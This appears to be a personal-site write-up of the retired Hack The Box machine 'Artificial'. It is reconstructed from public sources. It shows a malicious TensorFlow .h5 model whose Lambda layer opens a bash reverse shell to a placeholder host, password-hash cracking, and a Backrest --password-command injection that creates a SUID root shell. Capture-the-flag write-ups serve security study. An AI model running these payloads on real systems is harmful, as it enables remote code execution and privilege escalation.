~ / foobarto.me / htb-machines
--:--:-- UTC
~ / htb-machines / artificial.md

artificial

Linux · Easy · released 2025-06-21 · retired 2025-10-25

Summary

Artificial is an Easy Linux box demonstrating a classic ML-supply-chain risk: TensorFlow .h5 model loading deserialises Python objects, and tf.keras.layers.Lambda lets the loaded model carry arbitrary Python that runs at load time. RCE as app. From there, MD5 plaintext-cracked credentials grant SSH as gael; root falls out of Backrest (a restic GUI) on :9898 whose admin password hash is in a backup readable by gael’s sysadm group.

The chain:

  1. Upload a malicious .h5 model with a Lambda layer whose call function is os.system(reverse-shell). Loading triggers RCE as app.
  2. SQLite users.db MD5 → gael : mattp005numbertwo via CrackStation; SSH.
  3. Backup readable by sysadm group has Backrest config with bcrypt admin password hash; hashcat -m 3200!@#$%^.
  4. Backrest runs as root on :9898. Three escalation paths (any one works): create a backup of /root and download the SSH key; add a hook command that drops a SUID bash; abuse the “Run command” feature to inject --password-command 'rev-shell'.

Recon

22/tcp   OpenSSH
80/tcp   nginx → Flask AI model upload
9898/tcp Backrest (post-pivot)

requirements.txt (visible via /static/requirements.txt or similar) lists tensorflow-cpu==2.13.1. The site accepts .h5 uploads.

Foothold — TensorFlow Lambda layer RCE

Build a malicious model:

import tensorflow as tf
def call(x):
    import os
    os.system("bash -c 'bash -i >& /dev/tcp/<C2>/<port> 0>&1'")
    return x
m = tf.keras.Sequential([tf.keras.layers.Lambda(call, input_shape=(1,))])
m.save('evil.h5')

Upload evil.h5; click “View Predictions”; tf.keras.models.load_model invokes the Lambda callable; reverse shell as app.

User pivot — MD5 crack

$ sqlite3 ~/app/instance/users.db .dump
... INSERT INTO users(username,password) VALUES('gael','5b6e4f9a...');

CrackStation → mattp005numbertwo. SSH as gael.

Root — Backrest admin crack + RCE

$ ls -l /opt/backups
... -rw-r----- 1 root sysadm ... config_backup.tgz
$ tar -xzf config_backup.tgz config.json
$ jq .auth.passwordBcrypt config.json
"JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
$ echo '<base64>' | base64 -d
$2a$10$cVGIy9VMXQd0gM5gincmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
$ hashcat -m 3200 hash.txt rockyou.txt
# -> !@#$%^

Log in to Backrest as admin. Easiest path: “Run command” on a restic repo with:

backup --password-command 'bash -c "cp /bin/bash /tmp/rb; chmod +s /tmp/rb"' /tmp

Run, /tmp/rb -p, root.

Why each step worked

Counterfactuals

Source attribution

Reconstruction is grounded in:

I have not personally rooted this box; the chain above is a study-guide reconstruction of those public sources.

← all htb machines hackthebox.com ↗